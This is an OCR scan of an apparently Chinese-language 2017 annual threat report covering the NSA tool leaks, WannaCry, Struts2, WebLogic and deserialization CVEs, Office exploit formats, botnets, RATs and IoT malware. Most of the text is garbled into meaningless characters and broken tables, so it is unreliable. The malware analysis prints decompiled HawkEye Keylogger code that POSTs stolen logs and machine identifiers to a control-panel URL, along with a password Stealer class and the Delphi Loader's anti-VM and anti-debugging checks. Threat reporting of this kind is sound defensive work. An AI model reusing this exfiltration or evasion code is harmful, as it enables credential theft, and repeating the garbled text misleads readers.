2017

H v



€

B.‘.

VenusEye
n )
H n

.
K A

G
G 2018 A~
i 3
H ,
b Y




ao

n F3rH  Ne Ah
n Hp a a Ne ~ L F 3 Ne



tt 0 T HWLE: O
p 7 v 54 H v [ 8.7 .
[ 15% ~ ° B
0 A B §
[ e b A i
i “vye a a a
w T 8 o "
ty 2017 T 6 N
[ NSA Dp
N s’
[ N D[N
n Ho e T [ D
- Do b A
I DDOS  Dpa
H dl n b’
a v U ox HA
2017 no s
H n ' A
i n
n > Ty
N 3yl To3 v n

b T ¥I g -
"H 7.1% \ p € 11.4%
30%L A
ae +aT L 2028w W
" AN N3 o3k EV 0
W 0 WL TIT G
z s W 3 " n A
b 4+ W A
| ® \  Office a Web
6° [V X Dp
APT b A
\J S 7 a D 73
a’ W A Wa
P b o2 H T
“poAT L 1 X
a VenusEye T .0 é2017
i 2017 n Siiit ~ Y
a A




€]

Py

1. NSA | _ U e 2
2. Struts2 Tel FT WebLogic T, 3
3.0 ¢ we 1 0 s 4
4. Office (S A s 5
5. APT ¢ I ONW 0 o 6
6.NpvM © IT1H4 ni s 7
7. 10T i ¢ s 7
8. e ¢ T N L F e, 9
WED B W 10
1.1 N7 SEUES2 A e 12
1.2 HF SOL Al € oo, 14
1.3 Webshell 0, T Y e, 15
1.4 XSS i ¢ r U TF e 15
1.5 WebLogic A € C 16
1.6 118 Nz n T = s 16
1.7 N D 0 A e, 16
O r € C W e, 19
2.10 r € Wd s 20
2.2 L J G W 22
2.3° ettt 26
2.3.1° A —FOrmMBOOK.......cuiieiiiii e 26
2.3.2° 4 -HawkEye Keylogger..........cccocvvreviirnnnneannn. 27
2.3.3° Loader 4 -Delphi Loader..........ccccciiiiieeiiiiiiiciiee e 30
W 32

3.12017 Office G W e, 33
3.2° 35
3.2.1 Office 0 OLE Y e 36
3.2.2 OLE E CVE-2017-0199  CVE-2017-8570................... 38
3.2.3 .NET E CVE=2017-8759 ....veeeeeeeeeeeeeeeeeeee e 41
3.2.4 2 E CVE=2017-11882 ....ecveeeeeeerseeeeeeeeersnnn 43
3.2.5 DDE oo 48
3.3° ¢ TSRO PP 48
W e 51

4.1 B APT e 52
ALl e 52

AL s 67



R =Y o 1 80

.1.5 APT T T PO PP URPPRPP 82

4.2 € AP T e 83
4.2.0 APT28 oo 83
4.2.2 APT29 o 83
4.2.3 TUFIA 84
.24 FINT et 84
4.2.5 DONOT oo 84
4.2.6 GrOUPL23 e 84
4.2.7 Dark Caracal ... 84
4.2.8 MUAAYWATEE e 85
4.2.9 DarkHotel 85
1 FO C W 86
5.10 G Wad e 87
5.2" D € s 91
5.2.1~ 0 E Y 91
5.2.2r~ ¢y ©O L e ———————— 92
5.2.3- 0 ¢J o £ oottt 92
5.3" € s 92
5.3.1~ B oo 93
5.3.2— Web = [ € C oo 94
5.3.3 " B e 94
5.3.4~ loT C o, 94
71 loT G W s 95
6.1 loT @ W d e 96
6.2° loT HE b 99
6.2.1Mirai 0 e 99
6.2.21oTroopl 4 O e, 100
6.2.3 e v B 1oT O OMG v, 101
6.2.4Persirail 3 n O 102
6.2.5TheMoonl ~ 10T 102

S [OOSR 104







1. NSA I _ v

2017 Z n He 1 WannaCry 0~ WannaCryH Y Dz
ci a = NSA I H L ANSA Ty [
2013 ~ i t 2016 8 “ Shadow Brokers £ M NSA A 2017
4 i [ F A
Y 1 W NSA VR nHe'
NSAMKRH SHERITSMANEE.
| Shadow Brokers Wﬁéﬁiﬁﬁ'}ﬁﬁﬁ “WannaCry” #%;
. A NsA Lmps  MFNSATARE S P or N
CET I Sl * ATHRA B i
‘ 5 AN
- -
P :f A o __é
1. Shadow Brokers jllt i Petya¥h B el R A, NSAM 2% 251l 5 Shadow Brokers —/WannaCry

“ e dri oz k7 dEE T H A e | A e e B, ey A 4 e A SR _,E,TEILI-IWI . ﬁ#m{ﬂl -

1. NSA T et
2016 8 13 ° Shadow Brokers F 2w4W NSA 0
} E ) At o X D 1 )
Shadow Brokers G NSA " 2013~2016 A
2017 1 8 ~ Shadow BrokersP M 0  Windows £ i A E M
I~ Windows 11Sa RPCA RDP  SMB F 0 TYTW a Shellcode
PTw i A
2017 2 10 T We 3 WannaCry ¥ '+ D [ VirusTotalA
WannaCry 0y ~ a 3 i Y WannaCry *
A
2017 4 14 ~ Shadow Brokers'E 3, 2016 Y E T Dpz,
Z NeA Z i SMBA RDPa 11ST 2 p
F Ai T f r H Lo WannaCry Hub
A
v O 'E  ~ Shadow Brokers'E Ne ~ 2017 3 14 yiHl
D C' T k - C AP Windows XP  Windows 2003 w =
Kk o A
N ; n He TG 0 N FA _
A NSA D, ~ G 16 1 12 He 17w "



ap ~

D o _ A

2017 4 6 NSA 11 u D € A
YZS 7 q u A - t 0 A P
. - D T 7 Ne ~ . H [FO t - Y
[ TCP_NSA Windows_SMB_DoublePulsar ~ wlL Y t” 3 1 4

WannaCry DpT T | i A
2017 5 12 AN WannaCry* 0 A & -6 @ [
B 7 I TCP_NSA Windows_SMB DoublePulsar =~ wlL Hb 20 ) [
Y v’ D 12 [ A
cHU H ~ o § = Windows XPY i Windows 2003 CA

W * WannaCry D 7/ Hp A [ A

2017 6 27 ° W G H Petya* 0~ [ p Ne

A Ne ~ Petya* a [ DoublePulsarl £ vk o

1T = t I TCP_NSA Windows_SMB_DoublePulsar ~ w” Petya “ LA

2017 8 ~ N Gl H L DF A~ WannaCryi D S

i patch  Kill Swtichny, =~ =~ =% + w “~7 D w A
G '"G 2017 4 Y t I TCP_NSA Windows_SMB DoublePulsar =~ wlL~
o LEz 0 H oL D T, 5 A
c Ty E O H O L# L 2017 4 o6 oM YK
won - 2017 NN | H L D - z 1
A
’ H L Dol 5

350000

300000

250000

200000

150000

100000

50000

0

>

TR NSA n- 93y

2. Struts2 Tel k1 WebLogic i 4.



Web D, = 2017 a Dp Struts | D\ 53%A

i QL 7 D 33%T T Webshelk: D~ 5%~ XSS ~ D 4% ~ Weblogic
Dy 3%~ 1IS Dy 2% A

3500000

3000000

2500000

2000000

1500000

1000000

500000 I

0 | —
» X
4 % % "
&v o & R
S 3 2 N\
e* & P
N +
3.2017 Web €A
#  Weblogic Do TP £ W Fitr D w6
Struts2 il zLb" A
4.2017 . Web ¢ ' A

3.0 ¢ we | 0
6 W e n A 2017 n [ % 6 h
T T ~ 11.59%" T H Af ~10.40% ~10.15% 7 A

~ 9.57% b ~ 5.77T% A B ) Do H A



K-

Low

5.2017 H O E| “
4. 0ffice (S| 4

2017 Do Yy Office D h A G v ® Office

A H A

20174 OfficeiRiF S AY I 150

2000
1800
1600
1400
1200
1000
800
600 ///’
400
200
0

20174618 20174625 2017438 2017448 2017458 2017468 2017478 20174875 2017497 20174108 20174118 20174127

==@==(VE-2017-0199 CVE-2017-8570 CVE-2017-8759 CVE-2017-11826 =@==CVE-2017-11882

6. 2017 Office “

2017 s @ Office 5 At Ty EF W

POC E ~ v C A ¥ #£G# F T D ow
b | A

a a CVE-
2012-0158 T

>
=]
>
(]






6.Np1 © T T4 ni -

2017 ¢ Do 0 # h Ap Ne :'t ¢ s A
T AN - 5 A
2016 ~ Locky \ ¢ h Y ®D wh” P NSA Food
WannaCry :': 3 A3 . | [ Ar 4B D
WannaCry = 3+ T W A B W H 3 M3
[ = v v ¥ Gl 0 L DpA
2017 AN TN Ab ¢° v
b i ow 3 T &8 A
E © 3 Do NN I A
. D v z A
100000
90000
T T .
70000 e B
60000 o 5
50000 ] ,
40000 g - -
| &
30000
20000
10000 " B
o A AN LK KN
N e o B A B O
S @o‘;\«f’ﬁ\«f&\%\«;\«
9.2017 o)
7.10T I (% Y
loT G no u ’ L A G loT N n::
" b loT I LW A | W wa ssh telnet
i Dp loT A2017 y ° %o 10T N

Do F T e M v loT A



mFoscam Cl 'E
= |oT
ADSL
= Livebox Fibra
®Wink\ Insteon
5% -
m\WiMAX
6% m \Westermo
Yy
LI
u WIFICAM
B TP-LINK
HSOHO
u ASA
D-Link |
NetCore

17%

8%

10%

10.2017 loT C A
2017 o w' Yy 'E T 4 h Miraio Y

Y Gafgyt Yy Y u Y Satori  Brickerbot Y1 p @
loTroopA

4% _\2% 0,

= Mirai

= Gafgyt
loTroop
BrickerBot

= Satori

= Stantinko

= Hajime

= Persirai

= WireX

=77

= http81

11. 2017 ‘O A

2017 Y M

:I
=
o
—

C
£
T
>



12.2017 H Miraid 1 & "4






Web D = 2017 a Do Struts2 | D\l 53%A

i QL 7 Dy 33% T Webshelk: D~ 5%~ XSS ~ D 4% ~ Weblogic
Dy 3%~ 11S Dy 2% A OWASP H ~ D 2017
0 OWASP Top 10 TP ~ D w A 371 = < W0
s M A XSS D 2010 Al w 2013 A3
2017 N w AT B ¥ 5P i w Web  Dp ' A
Y Fa Web p Do\ p* W T Struts2 | &
Weblogic ¢ a IS ! G Web A H OWASP T- A9
B~ p ) D Ty W@ B n L a Wb - 0
[k L A
3500000
3000000
2500000
2000000
1500000
1000000
500000 I
0 | =
N A N
4 v A R
\g\‘)@ ) é(\e é%s\& \,OQ\ =
9 $QJ _\9 $é;° 2
14 2017 Web €
#  Weblogic Do TP £ W Fir D w . G
Struts2 il zLb" A

15,  Web ¢ ' A



! 1 W ] 2017 nHe T (V! A

1.1 4 Struts2 A

Web i Web W A Web G i 0
i b T o L o d % Y1 w R N
TP A Web * Djangoa ThinkPHPA Apache Strutsa Spring A 2017 '
Web DT Struts2 w1 = i A
Struts  Apache wo AT T e A A Jakarta T Wea
v 2004 3 W ASF A JavaServlet/JsP - v G
JavaEE Web MVC Y MVC T T e T° A 2007 7
23 Struts2 W@ FH o n G Struts2 t A -
- " [ S2-055 . 2017 Fa lle ° S2-045-S2-055" ~  f
Q@ ¥ POC 3 w E 6e¢ st 2017 ¥ T S2-045a S2-046a
S2-048a S2-052a S2-053a S2-055 9 - 'E POC”™ y [
0 D A
A 2017  Struts2 ) ‘
Struts2 52-055 Struts2 52-045/52-046
=
Nov Jan M My ” sep
|| | | N
20174 Struts? BRI / /

Struts2 52-048
CVE-2017-9791

Struts2 52-053
CVE-2017-12611

16 2017  Struts2

Y 2 5  Struts2 W < 't T° Yy ¥ Struts2 2013
2017 [ TWT H @ W @ ®As G Struts2 A Y |
- M w r L e HY A
20183 2014 2015 2016 2017
- Critical 7 4 1 3 6
|7; 1T W 2017 ®  Struts2 A
2017 3 ~ S2-045 S2-XXX  Struts . CVE-2017-5638"
W "H D HTTP Content-Type ~ OGNL - o A
b :'s Y  Struts2 0 A W ~ bH ~ D
Y a  OGNL - o A
2017 3 7 S2-045 & 5 1 E = $2-046 CVE-2017-5638" ~ S$2-046

L S2-045 0 b # ~ b A S2-045 Content-Type



$2-046 - 4 Content-Disposition i b S2-045 v v [

2.3.32 2.5.10.1A
2017 7 ~ S2-048 CVE-2017-9791 " Dp " Y Struts2 struts2-strutsl-
plugin ® v’ 0 A
2017 9 ~ S2-05Z CVE-2017-9805~ &~ S2-052 0 Y Struts2
b~ S2-052 # Java i | b OGNL A 0
REST b T xnl » ~ 3, XStreamHandler D ~ W i
I D ~ xml @ XStream | " B [ i}
K 9 A

2017 10 - S2-053



Struts2 D ~ 7

1400000

. SN
NN Wi
\/ \/ V — iR

600000

400000

200000

-A A =ZA mMR AR ~A +tA MR AR +A +—R +ZH
18 2017  Struts2 r €

1.2 HF QL f €

10] I ) |- web DeT H W A OWASP Top 103 W "
W “SQL " D 6 T DT W Aca =~ sou ~~ SQL
5 “ [ web 4§ " " a F SQL
o A Web v b - 12 (|
sQL - DA “ Web ¥ T~ L F 0 "¢ B ~ SQL
- N Dp P b, G Web Y~ URLa Cookiea Referera User-
Agent B A SQL " D - F b o sQL -
sQL ~ 2T i Web | W s oL ~ 2 T
) TWe b Ay D FSOL © D
F Web A
2017 &) sQL - '

" 1" GitHub o3 SQL ~
2" Joomla! 3.7 Core SQL ~ (CVE-2017-8917)
3™ PHPCMS v9.6.0 wap SQL
4~ PHPCMS v9 swfupload_json SQL

"~ 5 Metinfo 5.3.17 |F© sQL ~
6
7
8

Wordpress sprint & QL ~
~ Peplink Balance QL ~
Drupal 7.x Servicesi 1| D L SQL ~



sQL * h 4 G i b W Ne Qn
R i o T Ty "W q
v T A b ~osQL o2 T @ n
bAsS’ Dp Foss 12 A
C k v oL~ D wW 0 T
soL ~ A b HK “TH ~ il b a ° sQL
“ya & . s a U 0~ b a
YW@ a A
1.3 Webshell 0, Ty
WebShell Y aspa phpa jsp cgi ) W D 37y i
buWw A ¥ 7 Webshell Wae aspa jspa php Q T D
" aula - " aspa jspa php ) F Web T
b ) W A Y Web L oo Ty ’
't D pa a K D W | BA ¢ Webshellb L =
h 80 o D il bw D A f g Webshell
W bw T N 7w Web T B ’ v
FoO A
De iy QW e WebshelE: D [ F ~ Hwu AT
p': D] A a o Cw url "E b
W L h Ap W " Webshell w ) - o
c »p ~ 3 n o Y T Q wu A
W oo_ - 0 % W2  Webshell Hul W L~
W2 L W2 o 7 Webshel I AWz  Webshell 1 17 #
3 eval P - post 7 O Webshell eval P A
N Webshell ¥ b ° D ¥ n “ v  Webshell
0 Ne N v ~ 1 T Base64 \l D Ny 17 ¢
Yy ’ ' W D w Qw’ v v
Webshell A
1.4 XSS ° y



>

P

1.5 WebLogic A € ¢

WebLogic Oracle'E™ % W @ application server



0T | WG 2% D" T v [ T

Commons

—_—Cc

1 o]
Collectionsa Fastjsona Jacksona XStreama XMLDecoder D’ ' p¥ I
v [ Java T nA
2017  OWASP v Top10 p ~ i T AB-b n T L T LW 3t
FiOoL R Web n T A ¥ 0 h
i k ~ 3 a4 Fb - “" wl A
2017 N T4 '
Fastjson K7l ‘“'-“'“\{'—“Pda‘e-m' B Spring CVE-2017-8045 Jif.l'f::'é\f:i:? ;;_;[:52553
Nov Mar May Jul Sep
-
¢V ] T TV 1 (el ¥
—— A T, e T = B - ah '

Struts2 52-052 CVE-2017-9805

Weblogic CVE-2017-10352 Log4j2 CVE.2017.5645
CVE-2017-10271 Jackson CVE.2017.7525

192017 ., O A

T"Y F s M ¥ [He v Wa Hel o |

W
i Weblogic CVE-2017-10271& Struts2 S2-052 CVE-2017-9805a fastjson(S2-055) z
- ' L o DOS Dy b A
Fastjson i 1.
2017 3 15 Fastjson 0 C } a n A
h i w 12241 4 [ A h fastjson 1 1. n -
D "y " Wa L. [ F Y 0 A D~
Y o ~~ kA fastjson 1 [ 1.2.28/1.2.29
G nA

Jackson CVE-2017-7525/ CVE-2017-15095
2017 11 2 ~ Jackson i -

S CVE-2017-7525" 0 =3
jackson-databindi 1. (CVE-2017-15095)f i " H A b 4 CVE-2017-7525
il " jackson-databind T . DA 7 < k C

v W N A

Apache Log4j CVE-2017-5645

2017 4 ~ Apache Log4j [ o A D, "y 0
e #Lb w L payload ) [ ) payload 9
A h G ObjectInputStream ~ b~ input A

TcpSocketServer — UdpSocketServer v~ woylr w7 Ty
A

Weblogic CVE-2017-3248



2017 1 ~ WebLogic 0 =uWae ~ w CVE-2017-3248 ; ywH A

Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.0 12.2.1.1 i L D
- " >R A 6 ~ WebLogici .
* CVE-2017-3248 w  H [ k ANe H | WebLogic CVE-2015-4852
C~ 0  WebLogic i < [ k i
. 0 7 F i H i 1.~ HH[ W -
T DA
Spring CVE-2017-8045
2017 8 Pivotal 0 Spring AMQP  F W @ 9 " CVE-
2017-8045~ A A G org.springframework.amgp.core.Message b n | {. u
W@ string o A Spring G 2003 I W@ Java 0 -
Spring AMQ i AMQP _ Tt _ 0 EE T
. P0JO Ny B 'la RabbitMQ " 0A
Struts2 CVE-2017-9805
2017 9 Struts2 1 ¥ < 0 A
Igtm.com n © 7 w CVE-2017-9805 ~ a w A a
XStream Struts REST o XML payload ~ "~ w | 0
DeA Struts2 REST b g XStream XStream Handler Kv 9 i
IR i 1. XML payload 9 YK D "y XML
o g A
Jenkins CVE-2017-1000353
2017 12 ~ Jenkins F A 9 " CVE ~ w CVE-2017-1000353 Dp
Ty L. Java SignedObject ~ D [ @ Jenkins CLI’

G i G L A Jenkins W G a “vya 0 ¢






2.1 O I € V4

VenusEye T ' 2017 n [ % T6 - ~ L oh T
T ~ 11.59% Y H Ai ~10.40% ~ ~10.15% 4 © 9.57%
b S5 A ¢ Ne W

Low 2
20 2017 H © e
2017 1 [ % cC o L= 5000 AP T Yy 12.6% o oy
cec L i owT " 9.91% T b " 9T T W 6.27% T Y@

H> 5.87% A + N IA

-.': ’, 2

212017 H n 4rc&ce - 4

2017 7 n p 5@ 0 Nez w LokiBot kasidet Pony
DarkComet  TrickbotA



222017 H O r € 4

2017 n ° p- b "6 h Ne @ M Ne#wy " 10.55% a
K~ 10.29% & .~ 7.51% &



\

DA

|_

1P
|_

2.2

Ty

2017

Lo
T 13.90% h
p
1.ZeroAccess
Zeroaccess

h c&C F
5.01% ~ B
5

0 \

4.13%
Wy

VR rootkit

D - I

2. € 11

I €L

A

Wa HW”

v 4 a A
3. Linux_IrcBot
Linux.lrcBot Wa O
4. Nitol

Nitol

" h

DDoS I

O DDoS DA "~ YW i
5. njRAT
njRAT Wa C_

ah

Q T w

A
DDOS
DDoS W @ Ne

6.
FoD T
7. GhOst
GhOst T
a Y a

A
8. Ramnit
Ramnit W
9. IptabLex
IptabLex W @ Linux 06
10.KillerRat
KillerRat W i
n b -
11.BillGates
Billgates

Dp

Q
Q»

L naR

>

3 DDoS O -
F L~
DDoS Dpd |

Y shell

L J

pbD
L ~

n

" 63.50%" a 19.86% a

5@

\

NoZ -

T 3.44% A

~

HWAT

n

T

¢ w4

40 ¢

h

(Firefoxa Google Chromead Opera)G

h = €

TAiT a = BootKit

E)

>

.exea .dlIl

L_‘)

AL

DDoS DA

a

l
13.51%" a

60.28%" ~

a

DDoS DA

.html

By

3

H

E)

p A

CSharp

w

2= Ne

A~

QA

¢
3.13%

Noy


https://baike.m.yhdeyi.com/item/BootKit

\ nY A 2016 - Zeus

N
>

24 2017 £ ] A

2017 [N v

252017 & 3 A



T [

FormBooka DiamondFox

Loader C# Loader H

h

2017 0 -

Pony Dyzap f 3B
Dyzap
¥ FormBooka, = |

a Delphi LoaderA

m:

FormBook EY)

H I v

As U VB

Pony Dyzap FormBook

DiamondFox

(o]

DDOS

2017 [

2015.9. 2016.11. 2017.6.

http http

L \l Vl‘

2017.4
S
S

S
http ¥

m NanoCore

= NetWire

= JRat

m Neutrino

m Remcos

mnJRat

m Kortos

m DarkComet
Coringa

= ImminentMonitor

= Adwind

m Ozone

= Luminosity
RevCode
QRat
h-Worm

= Revenge

m Comet

26 2017 £ J A

NanoCore NetWire JRat 27z

A Remcos w 2017

> >



NanoCore  NetWire JRat Neutrino Remcos
0 2015.12. 2016.3. 2016.4. 2016.6 2017.04
S S S S S
L S S S S S
DDOS S S ! S S
D tcp v tcp v http ¢ http v tcp v
2017 " 0O 1 - 1 Nez * HawkEyeKeyloggera AgentTeslaa ISRa
PredatorPainKeyloggera KeyBasea Zyklona AZORma AZORulta NexusLoggera OrionLoggera
CyborgAi T 6 2017 0 Yop A HawkEyeKeylogger ¥ T " Ne
L Tt rw 1A v FTPA EMAILA PHF
p 7 # EMAIL D A
h w n'
HawkEye Agent iSpy predator-pain
Keylogger Tesla keylogger keylogger
0 2015.5 2016.11. 2016.2. 2016.4.
< S S S S
"E ! S S !
0 H S S S S
oo D S ! ! S
0 » S S ! S
0 S ! ! S
0 MineCraft ~ S ! S S
H
m » ! S S !
i : S S !
UAC ! S ! !
D FTP,EMAIL FTP,EMAIL FTP,EMAIL FTP,EMAIL,PHP
,PHP ,PHP ,PHP
2017 I7L iy H @ Ursnif  TrickBotA

h w 7



ZeuswW Citadel Ursnif Dridex









H |- LWae mailProxy ~ P Ne i 9§ ~
Az url W A mailProxya  Secreta Titlead Data 3t

LEXL = OLENL
1
haol Tlzg~ “isi EndsWith{
if SFlsgel

Fot —

{awkEye Keylogger - Reborn vB - {8} Logs - {1] {2}", Connector.GetLogTypeName string dataZ = string.Format("t

string text = Configloader.Config.PanelURL;
bool flag = !text.EndsWith{"/");

if (flag)

{

1
J

text += "api”;
using (WebClient webClient = new WebClient())

text += /7,

byte[] bytes = webClient.UploadValues(text, “POST", new NameValueCollection

1
"Secret”™,
Configloader.Config.PanelSecret
}r
1
"HWID",
PCInfo.HWID
Fa
1
"Mame™,
PCInfo.Name
!
e

31 HawkEye 4 I 4€

zﬁ ﬁéb&liéht[]] using (HebClient webClient = me
1
1loadValuesi{text, "POST", new HameWalueCcllecticon byte[] bytes = webClient.Ug
{
{
1wel256Encrypt (Configloader.Config.ProxySecret, Configloader.Config.ProxySecret) Cryptography.Rijnd:
{ —
itle”,
1el256Encrypt (data2, ConfiglLoader.Config.ProxySecret) Cryptography.Rijndz
]
{
wel256Encrypt (data, Configloader.Config.ProxySecret) Cryptography.Rijndz
1
hy . GetString(bytes); string @string = Cryptogragp
String(@string, "0k, false) == @); result = (Operators.Compare
30 HawkEye d I 3€
Panel a,Z  Secreta HWIDa Namea Countrya 0Sa Versiona Typea Data  :: D A



3. w 3, Stealer T 7y 0 FileZillaa Beyluxea CoreFTPa Minecraft
" A
public class Stealer
1
public static bool Send()
1
return Connector.Send(LogTypes.Passwords, Stealer.Steal());
}
public static string Steal()
1
StringBuilder stringBuilder = new StringBuilder();
StringBuilder stringBuilder2 = stringBuilder;
try
1 i ) o .
| - - .""_
E catch T
actError 1 SetProje
return 3
32 HawkEye 4 I 5€
4s wa ExternalStealer ¥ H@ b~ 0 5] G -
A
5. % 0 7 DT W a H a H a <« A
6.v g v #a i Bot w A
2.3.3° Loader 4 -Delphi Loader
2016 32017 O \ T v N\ Q  LoaderA
Loader 9 h w i ai } b T F 9 v A
2017 ¥ =W Delphi Loader % shellcode P shellcode £
q - - Eo q A a HF © =i atl
i a w A
1. 9 Now gy - W Y Ty w3 W
3 v R Ne A
2. [ G 2016 FA
3. T 65 f ° G OxIF ¢ A
4 o shellcode A

5.Shellcode hash 0 \Nae P A



6. Y1 A e ’ avastsvc.exea aavastui.exea avgsvc.exea

iavgui .exed procmon.exed ol lydbg.exed procexp.exed windbg.exe Ab Loader
b i Ty A
7. sandboxa malwarea samplea virusa self vy Vv A
w - A
8. ZwQueryInformationProcess P ProcessDebugFlags PEB.BeingDebugged
i A
9. CPUID D A
eax=0x00 ~ CPUIDH ~ ebx+ edx+ ecx=" Genuinelntel"A
KVMKVMKVMKVM& Microsoft Hv & VMWareVMWared XenVMMXenVMMA eax=0x40000000 ~ ebxa ecxa
edxb 6 0 ¢ - G 0 b A
CPUIDH =~ ebx+ecxtedx="VMWareVMWare'" 4 XenVMMXenVMM& pri
hyperva Microsoft Hva KVMKVMKVMa& VMWareVMWareA — eax=1 ~ CPUIDH ~ ecx
316 w l,u 1 v A
10.¥ A
v 0 ¥ ' Ne NmG A 0x30
T Ox03E9 4 1001A Z  0x46 0x0003 4 RT_ICONA
Z Ox5C OxCD4 205 " 205 m N € 1001 [ 1205A

12. ~ A ¥ PE " [EO " A Delphi Loader a 4 FA









2000

1800
1600
1400
1200
1000
800
600
400 //.
200 \h///
0
\«&\% \«*&(& \«V&%% \«&& d&& \«V&%@ %
S S S, S P
342017 Office
2017~ # 3@ ( DDE Dp) CVE-2017-0199° CVE-2017-11882  CVE-
2017-8759A
Ty [* 2017 11 ~ CVE-2017-11882 POC 'E ~ Ip H | v
a G 1 ’ 12~ CVE-2017-0199 ¥ 1 YA
¥ - CVE-2017-8570 L CVE-2017-0199 w "E P GIi POC
G 2018 1 Githug': 'E ~ 2017 F ' CVE-2017-11826:
v [ # ' CVE-2017-0261/0262 1 W G vbi T
EPS  ~ s M PO A
3 1| [~ 2017 ¥ BN CVE-2017-0261 CVE-
2017-0262 * b EPS T OLE CVE-2017-0199  CVE-2017-8570 3
Fc 3 L CVE-2017-11882 t W W 1 ¥ = 1 A @
D w1 L - 0D 3 - w _
A
- Office T # b\l At Ta v
o U n Office 59.47% ' 25.57%
¥ CVE-2017-0199 '\ 6.39% ~ A i 0 ~ OLE Dp
v o i A
~ - pT ~We p JAR p A
D a Dp T [ O As ~ . ) " T "W
Powershell q I7L -7 W Locky * p A
a 31 3 p - o Office T woTo#
AutoOpen | ¥ A wa i p b~
“ Ne v ) T a Ne A o b 1 e
- W Ne w k  Office normal .dotn’ D A



DOCX b U=

1 TN ) B Ai T~ DOC
XLS  XLSX o} [ \I 2, 12.47% RTF p \l 7.98% B 1 A
PRy HIAKA G | pprv/opev~r _
| - “:/'_"7,-, ::::ﬁl‘ e - “{i\; 7 ....T L s
0.23% = sk
XLSX3Lf- m— 0.32%
3:90% ) i —
| r— i | [RTESCEE
I \““ %
NS 1 1 7.98%
“J
|
DOCX3 1t DOCIZ 1
34.01% 44.09%
» RTFXC {5 DOCI{# = DOCXXfE = XISX{f = XISX3Lf = PPT/PPSXC{f = PPTX/PPSXI{E w EfhTfF
35 Office E| " €
L Ne 2017 a RTF pbu A W
I h  YWARe
Q" RTF b a ¢ L (control word) Ne (group) N B b
"EDOC a ., W L b D W * 3b"EDOCX a  OOXML p W
H p A v © 3 a Ne A
i “RTF » \objupdate L . Y #£6 D A w L
T s'G PPSX . A 3 a OLE DDE
t "t 0" v 0 w A
3.2 ° 4
2017 Office Ty L OLE T A
4 CVE-2017-0199 7 CVE-2017-8570 W 7 6 OLE A
9 CVE-2017-8759 -NET pr T " b |FH
A
CVE-2018-0798 CVE-2018-0802) : E W

CVE-2017-11882(i

11
P A

OLE )



N Ne T° 13w : OLE b ) T

o A
3.2.1 Office O OLE Y
Office AT T Y Ws
1 . wn L oos (Compound File Binary Format, CFBF)
Office 20031 H [k a v _ O (Structured Storage, SS)
W A w DOC XLS PPT A 3 b Composite Document File

V2 Document(CDF)A
~ 27 Office Open XML (OOXML)

Office 20071 a YW Y XML P W Y ZIP A
) A w DOCX XLSX PPTX A
R (RTF)
Windows Q a N a L (control word) Ne (group)
D A w RTFA
3 ~ 6 OLE O b AW 5 o A A
3.2.1.1 OLE CFBF X Y
CFBF T~ y (r(storage)  (stream) Ai T | el b
L~ I pLA O bl UL (root storage)A
OLE CFBFT H W w4 "\x010lelONative" N G
1 Y3 W ow o wI\x010le"™ T G Office A
"\x010lel0Native" 7/

0| 1| 2| 3| 4| 5| 6‘ T| 8| 9| 10| 1‘ 2| 3| 4‘ 5| 6| T| 8| 9‘ 20| 1| 2| 3| 4‘ 5| 6| 7‘ 8| 9| 30| l| 2
NativeDataSize (4 EYTES)

WativeData (variable)

36 "\x010le10Native"

"\x010lelONative" T~ |F @ 0= v V'

"\x010le" 7 '

>



0| 1| 2| 3| 4| 5| 6‘ T| 8| 9| 10| 1‘ 2| 3| 4‘ 5| 6| T| 8| 9‘ 20| 1| 2| 3| 4‘ 5| 6| ?‘ 8| 9| 30| l| 2

Version (4 EYTES)

Flags (4 BYTES)
LinkUpdateOption (4 EYTES)
Reservedl (4 EYTES)
ReservediienikerStreanSize (4 EYTES)

EeservedienikerStrean (variahle)

RelativeScurceMenikerStreanSize (4 BYTES, optional)

RelativeSourceMonikerStrean (variable)

shsoluteScurcellonikerStreansize (4 BEYTES, optional)

AbsoluteSourceMonikerStrean (variable)

CLEID Indicator (4 BYTES, opticnal)

CLEID (16 BYTES, optionall

ReservedDisplayName (LengthPrefixedinicedeString, wariable, optienal)

Reserved? (4 EYTES, optional)

LocalUpdateTine (FILETIME, £ EYTES, optional)

LocalChecklUpdateTine (FILETIME, 8 EYTES, optional)

RemotelpdateTine (FILETIME, & EYTES, optiecnal)

37 "\x010le"

"\x010le" T~ v ~ p 4 T 2@ MonikerStream(Relative/Absolute
SourceMonikerStream) 1 T~ = Moniker ~ (  UrIMoniker URL  ~
FileMoniker ) YA
3.2.1.2 OLE OOXML X Y

OOXML T~ OLE H N .xml.rels p TA Type
# A OLE # w ".../relationships/oleObject"A

G Twoouw pT TargetMode = "External'” ! '

38 OOXML

GpP 0 TargetMode’ n Ap embeddings

N
>



39 OOXML'Y

3.2.1.3 OLE RTF X Y
RTF b a L Ne P A
iT Ly Wy A \rtfir L “\rtf" § "1'"  Ne

Ne  Ne p~ ", L A



Control word+

Object Type«

\

link. <
[autolink]

intosh Edition Manager subscriber. ¢

intosh Edition Manager publisher. <
Word for the Macintosh Installable Command (IC) Embedder.+
ertext Markup Language (HTML) control. ¢

control. ¢

\objlink ¢
lobiautlink
\objsub <
\objpub+
\objicemb ¢
\objhtml-

\objocx«

e
An object type of OLE
Bn object type of OLE
An object type of Mac
An object type of Mac
An object type of MS

An object type of Hyp
An object type of OLE

another part of the same document.+

any updates.

Object Information -

\linkself+-
\objlock =

The object is a link to

Locks the object from

L pAg

H

"\x010le" A

00000630 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ). DirectoryEntries[4]

OffVis -

A (UGBS Datatien: U

BT

Teaie e

000006A0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 000400 | GOBRG200 | List<OLESSDI
00000680  FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF [} OLESSDirectoryEntry[0] \Root Entry 0x00000400  0x0D000080  OLESSDirector
gggggggg g g g g g §£ 55 g g 55 g g g g g §£ | = OLESSDrectoryENtry[1] \Root Entry\ Ol | 0x00000480 0x00000080 OLESSDirector
potenomdiil ~ - = 55 B o7 OF &Y o0 OF 0% OF OF oF &Y o EleName Ole 0x00000480 0x00000040  Dataltem_Unic
000006F0  FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF - ChEleName 0xA 0x000004c0 0x00000002 Dztaltem Ulnt
tooeaTor Tyog, 032 2 1 Dataltem Ulnt
<000004c3 0x00000001 Dataltem Ulnt TR - ThyFags ox0 [
A (UGB Datatieng D :: :: :: il ofi TSR SREE] (e
